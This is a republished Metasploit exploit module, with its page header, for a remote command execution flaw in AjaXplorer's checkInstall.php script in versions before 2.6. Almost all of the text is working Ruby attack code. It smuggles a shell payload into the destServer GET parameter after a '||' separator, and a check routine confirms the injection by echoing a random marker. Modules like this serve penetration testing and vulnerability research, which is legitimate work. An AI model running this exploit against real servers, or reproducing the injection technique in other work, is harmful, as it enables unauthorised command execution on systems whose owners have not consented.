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AjaXplorer checkInstall.php Remote Command Execution

AjaXplorer checkInstall.php Remote Command Execution
Posted Oct 15, 2012
Authored by David Maciejak, Julien CAYSSOL, sinn3r | Site metasploit.com

This Metasploit module exploits an arbitrary command execution vulnerability in the AjaXplorer 'checkInstall.php' script. All versions of AjaXplorer prior to 2.6 are vulnerable.

tags | exploit, arbitrary, php
advisories | OSVDB-63552
MD5 | 6d3a49567c90e421e8c55b2b705e2420

AjaXplorer checkInstall.php Remote Command Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'AjaXplorer checkInstall.php Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in the
AjaXplorer 'checkInstall.php' script. All versions of AjaXplorer prior to
2.6 are vulnerable.
},
'Author' =>
[
'Julien Cayssol', #Credited according to SecurityFocus
'David Maciejak', #Metasploit module
'sinn3r' #Final touch on the Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '63552' ],
[ 'BID', '39334' ]
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'ConnectionType' => 'find',
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby python bash telnet'
}
},
'Platform' => ['unix', 'bsd', 'linux', 'osx', 'windows'],
'Arch' => ARCH_CMD,
'Targets' => [[ 'AjaXplorer 2.5.5 or older', { }]],
'DisclosureDate' => 'Apr 4 2010',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to AjaXplorer', '/AjaXplorer-2.5.5/'])
], self.class)
end

def check
target_uri.path << '/' if target_uri.path[-1,1] != '/'
clue = Rex::Text::rand_text_alpha(rand(5) + 5)

res = send_request_cgi({
'method' => 'GET',
'uri' => "#{target_uri.path}plugins/access.ssh/checkInstall.php",
'vars_get' => {
'destServer' => "||echo #{clue}"
}
})

# If the server doesn't return the default redirection, probably something is wrong
if res and res.code == 200 and res.body =~ /#{clue}/
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end

def exploit
peer = "#{rhost}:#{rport}"
target_uri.path << '/' if target_uri.path[-1,1] != '/'

# Trigger the command execution bug
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{target_uri.path}plugins/access.ssh/checkInstall.php",
'vars_get' =>
{
'destServer' => "||#{payload.encoded}"
}
})

if res
print_status("#{peer} - The server returned: #{res.code} #{res.message}")
m = res.body.scan(/Received output:\s\[([^\]]+)\]/).flatten[0] || ''

if m.empty?
print_error("#{peer} - This server may not be vulnerable")
else
print_status("#{peer} - Command output from the server:")
print_line(m)
end
end
end

end

=begin
Repo:
http://sourceforge.net/projects/ajaxplorer/files/ajaxplorer/2.6/
=end

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